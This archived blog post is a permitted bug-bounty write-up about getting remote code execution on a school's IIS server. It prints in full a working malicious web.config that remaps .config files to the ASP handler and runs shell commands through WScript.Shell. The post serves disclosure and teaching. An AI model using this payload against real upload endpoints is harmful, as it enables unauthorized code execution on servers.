Info
This post was originally published on my previous blog (poc-server.com/blog) and has been migrated to my current platform for archival purposes. Be advised that due to software transitions and evolving best practices, the formatting and content may not align perfectly with my newer posts.

TL;DR Link to heading

By uploading a web.config I was able to bypass the blacklist, which blocks files with an executable extension (such as ‘.asp’ and ‘.aspx’). After setting execution rights to ‘.config’ and then adding asp code in the web.config I was able to execute code.

General Link to heading

Since I’ve had some spare time during my internship on school, I started testing my school environment, after gaining permission. After doing some simple recon I stumbled upon a file upload, which allowed students to upload documents. From the recon I had done, I knew the server was an IIS server. I usually test this by browsing to /<>. Since ASP.NET detects a ‘dangerous Request’, it returned the following:

error-page-asp

(On the bottom of this page is usually the Microsoft .NET Framework Version and the ASP.NET Version)

After seeing the following header as well: Server: Microsoft-IIS/8.5 I knew it was a Microsoft IIS server, and we could start performing platform specific tests.

Testing Link to heading

So i started to test it for unrestricted file upload. After trying to upload a test file with some basic extensions like ‘.aspx’, ‘.asp’ and ‘.asmx’, I kept getting the error message Description: Upload failed - Access Denied. User {{user_id}} does not have permissions to add content package to folder with ID {{folder_id}}

So I had to be a bit more creative. Since I’ve been programming asp.net website for a couple of years, I knew quite some files that were being used, but after trying a lot of extensions that have got execution rights, I thought I had tried them all. Lets sit back and think of my other options. What if I could upload a file that normally contains things like metadata and other stuff about the application? Might be my last chance to get some impact… So I thought of the ‘.htaccess’ file, but since this is a windows server I quickly realized I should upload a web.config file.

Info

What is a web.config file?

A web.config file lets you customize the way your site or a specific directory on your site behaves. For example, if you place a web.config file in your root directory, it will affect your entire site. If you place it in a /content directory, it will only affect that directory.

With a web.config file, you can control:

  • Database connection strings.
  • Error behavior.
  • Security.

web.config files are XML documents.

So, continuing where I was. I quickly tried uploading a web.config file, and to my surprise; No error popped up and the file was shown in the directory. \0/ So that worked…

Now lets see what I can do with it. So after googling a bit, I found an article from Soroush.

This had some example code in it to actually execute code from the web.config. (Thanks Soroush! Go check out his blog as well) After modifying it a bit to execute a cmd command, it became:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
   <appSettings>
</appSettings>
</configuration>
<!–-
<% Response.write("-"&"->")
Response.write("<pre>")
Set wShell1 = CreateObject("WScript.Shell")
Set cmd1 = wShell1.Exec("whoami")
output1 = cmd1.StdOut.Readall()
set cmd1 = nothing: Set wShell1 = nothing
Response.write(output1)
Response.write("</pre><!-"&"-") %>
-–>

This adds a handler that gives the web.config read, script and write permissions. Then we add asp code inside the <% %> and places the asp code inside a comment so it is still valid XML. When uploading this and browsing to the file the ‘whoami’ command gets executed and outputs ‘nt authority\system’. Success! We actually got RCE.

After this, I cleaned up all my other tries :p and reported it to the director of the school. He contacted the third party behind the digital school environment. Later on I received a laptop from them as a bounty (for this bug and some others), and they thanked me. Mission accomplished!

Learned Link to heading

When you come across a file upload:

  • Try to upload platform specific files
  • Don’t give up
  • Don’t upload shells, but rather upload a file that echoes your username.